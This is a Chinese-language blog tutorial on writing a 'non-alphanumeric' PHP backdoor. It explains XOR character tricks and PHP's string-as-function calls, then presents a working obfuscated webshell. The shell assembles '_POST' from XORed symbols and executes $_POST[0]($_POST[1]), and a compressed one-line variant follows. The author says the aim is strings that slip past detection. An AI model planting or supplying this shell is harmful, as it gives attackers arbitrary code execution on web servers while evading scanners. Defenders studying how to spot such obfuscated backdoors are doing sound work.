编写变态的PHP后门
在这篇文章中,我将向大家介绍如何编写一个非字母数字的PHP后门。在编写这种PHP后门的时候,我们首先需要了解一些基础知识:
(1)了解PHP
(2)了解curl或者其他一些能够操作HTTP请求的工具
还有一点需要大家了解的是PHP中异或(^)的概念。对于异或,大家肯定都有所了解,但是平常能用到的地方可能不多,最起码本人不经常使用(勿喷)。之所以在这里强调一下异或的概念,是因为异或在这种非字母数字的PHP后门中经常使用并且非常重要。
先来看下面一段代码:
1<?php
2 echo "A" ^ "}";
3?>
运行这段代码,那么输出的结果是字符”<“,之所以会得到这样的结果,是因为代码中对字符”A”和字符”}”进行了异或操作。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。异或操作有时也被用来交换两个变量的值。
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
1<?php
2 $_++;
3 $__="<"^"}";
4 $__("stuff");
5?>
看到这段代码,大家或许会觉得很疑惑,下面我简单的来解释一下:
(1)$_++;这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null= = false = =0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
(2)$__=”<“^”}”;对字符”<“和”}”进行异或运算,得到结果A赋给变量名为”__”(两个下划线)的变量
(3)$__(“stuff”);通过上面的赋值操作,变量$__的值为A,所以这行可以看作是A(“stuff”),在PHP中,这行代码表示调用函数 A,但是由于程序中并未定义函数A,所以这行代码会抛出一个致命错误使程序停止运行。这行代码没什么实际的意义,但是它能简单体现出在PHP中,我们可以 将字符串当作函数来处理。
文章进行到这里,大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。如果你依然迷惑,那说明本菜鸟的文章写的不好,先说声抱歉了,但是还是希望你别骂我。
上面的那段示例代码最后会出错,导致程序停止运行,当然写出一个出错的程序并不是我们的目的,使用这种后门的主要目的是创建一些可以绕过检测的并且对我们 有用的字符串,如_POST”, “system”, “call_user_func_array”,或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
1<?php
2 @$_++; // $_ = 1
3 $__=("#"^"|"); // $__ = _
4 $__.=("."^"~"); // _P
5 $__.=("/"^"`"); // _PO
6 $__.=("|"^"/"); // _POS
7 $__.=("{"^"/"); // _POST
8 ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
9?>
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
1$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
照文章最开始的讲解对代码进行分析,我们知道这是一个可以进行函数调用的PHP后门。希望这篇文章能给大家带来一些帮助。
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/abnormal-php-backdoor/3346.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.